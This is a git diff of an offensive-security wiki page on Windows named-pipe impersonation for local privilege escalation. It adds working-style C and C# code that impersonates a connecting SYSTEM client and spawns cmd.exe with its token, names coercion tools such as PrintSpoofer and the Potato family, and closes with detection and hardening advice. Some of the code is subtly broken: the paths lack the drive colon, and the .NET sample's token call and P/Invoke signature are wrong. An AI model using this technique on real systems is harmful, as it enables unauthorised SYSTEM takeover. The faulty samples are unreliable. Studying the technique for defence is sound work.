|
2 | 2 |
|
3 | 3 | {{#include ../../banners/hacktricks-training.md}} |
4 | 4 |
|
5 | | -Check: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) |
| 5 | +Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM). |
6 | 6 |
|
7 | | -{{#include ../../banners/hacktricks-training.md}} |
| 7 | +This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below. |
| 8 | + |
| 9 | +## TL;DR |
| 10 | +- Create a named pipe: \\.\pipe\<random> and wait for a connection. |
| 11 | +- Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.). |
| 12 | +- Read at least one message from the pipe, then call ImpersonateNamedPipeClient. |
| 13 | +- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process. |
| 14 | + |
| 15 | +## Requirements and key APIs |
| 16 | +- Privileges typically needed by the calling process/thread: |
| 17 | + - SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW. |
| 18 | + - Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM). |
| 19 | +- Core APIs used: |
| 20 | + - CreateNamedPipe / ConnectNamedPipe |
| 21 | + - ReadFile/WriteFile (must read at least one message before impersonation) |
| 22 | + - ImpersonateNamedPipeClient and RevertToSelf |
| 23 | + - OpenThreadToken, DuplicateTokenEx(TokenPrimary) |
| 24 | + - CreateProcessWithTokenW or CreateProcessAsUser |
| 25 | +- Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe. |
| 26 | + |
| 27 | +## Minimal Win32 workflow (C) |
| 28 | +```c |
| 29 | +// Minimal skeleton (no error handling hardening for brevity) |
| 30 | +#include <windows.h> |
| 31 | +#include <stdio.h> |
| 32 | + |
| 33 | +int main(void) { |
| 34 | + LPCSTR pipe = "\\\\.\\pipe\\evil"; |
| 35 | + HANDLE hPipe = CreateNamedPipeA( |
| 36 | + pipe, |
| 37 | + PIPE_ACCESS_DUPLEX, |
| 38 | + PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, |
| 39 | + 1, 0, 0, 0, NULL); |
| 40 | + |
| 41 | + if (hPipe == INVALID_HANDLE_VALUE) return 1; |
| 42 | + |
| 43 | + // Wait for privileged client to connect (see Triggers section) |
| 44 | + if (!ConnectNamedPipe(hPipe, NULL)) return 2; |
| 45 | + |
| 46 | + // Read at least one message before impersonation |
| 47 | + char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL); |
| 48 | + |
| 49 | + // Impersonate the last message sender |
| 50 | + if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368 |
| 51 | + |
| 52 | + // Extract and duplicate the impersonation token into a primary token |
| 53 | + HANDLE impTok = NULL, priTok = NULL; |
| 54 | + if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4; |
| 55 | + if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5; |
8 | 56 |
|
| 57 | + // Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege. |
| 58 | + STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0}; |
| 59 | + if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY, |
| 60 | + L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, |
| 61 | + 0, NULL, NULL, &si, &pi)) { |
| 62 | + // Fallback: CreateProcessAsUser after you already impersonated SYSTEM |
| 63 | + CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, |
| 64 | + NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); |
| 65 | + } |
9 | 66 |
|
| 67 | + RevertToSelf(); // Restore original context |
| 68 | + return 0; |
| 69 | +} |
| 70 | +``` |
| 71 | +Notes: |
| 72 | +- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level. |
| 73 | +- Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation. |
10 | 74 |
|
| 75 | +## .NET quick example |
| 76 | +In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process. |
| 77 | +```csharp |
| 78 | +using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; |
| 79 | +class P { |
| 80 | + [DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h); |
| 81 | + [DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p); |
| 82 | + [DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi); |
| 83 | + static void Main(){ |
| 84 | + using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1); |
| 85 | + s.WaitForConnection(); |
| 86 | + // Ensure client sent something so the token is available |
| 87 | + s.RunAsClient(() => { |
| 88 | + IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS |
| 89 | + IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary |
| 90 | + var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe"); |
| 91 | + Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi); |
| 92 | + }); |
| 93 | + } |
| 94 | +} |
| 95 | +``` |
| 96 | + |
| 97 | +## Common triggers/coercions to get SYSTEM to your pipe |
| 98 | +These techniques coerce privileged services to connect to your named pipe so you can impersonate them: |
| 99 | +- Print Spooler RPC trigger (PrintSpoofer) |
| 100 | +- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) |
| 101 | +- EFSRPC pipes (EfsPotato/SharpEfsPotato) |
| 102 | + |
| 103 | +See detailed usage and compatibility here: |
| 104 | + |
| 105 | +- |
| 106 | +{{#ref}} |
| 107 | +roguepotato-and-printspoofer.md |
| 108 | +{{#endref}} |
| 109 | +- |
| 110 | +{{#ref}} |
| 111 | +juicypotato.md |
| 112 | +{{#endref}} |
| 113 | + |
| 114 | +If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see: |
| 115 | + |
| 116 | +- |
| 117 | +{{#ref}} |
| 118 | +from-high-integrity-to-system-with-name-pipes.md |
| 119 | +{{#endref}} |
| 120 | + |
| 121 | +## Troubleshooting and gotchas |
| 122 | +- You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368). |
| 123 | +- If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel). |
| 124 | +- CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM. |
| 125 | +- Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL. |
| 126 | + |
| 127 | +## Detection and hardening |
| 128 | +- Monitor named pipe creation and connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) are useful to baseline legitimate pipe names and catch unusual, random-looking pipes preceding token-manipulation events. |
| 129 | +- Look for sequences: process creates a pipe, a SYSTEM service connects, then the creating process spawns a child as SYSTEM. |
| 130 | +- Reduce exposure by removing SeImpersonatePrivilege from nonessential service accounts and avoiding unnecessary service logons with high privileges. |
| 131 | +- Defensive development: when connecting to untrusted named pipes, specify SECURITY_SQOS_PRESENT with SECURITY_IDENTIFICATION to prevent servers from fully impersonating the client unless necessary. |
| 132 | + |
| 133 | +## References |
| 134 | +- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient |
| 135 | +- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation |
| 136 | + |
| 137 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments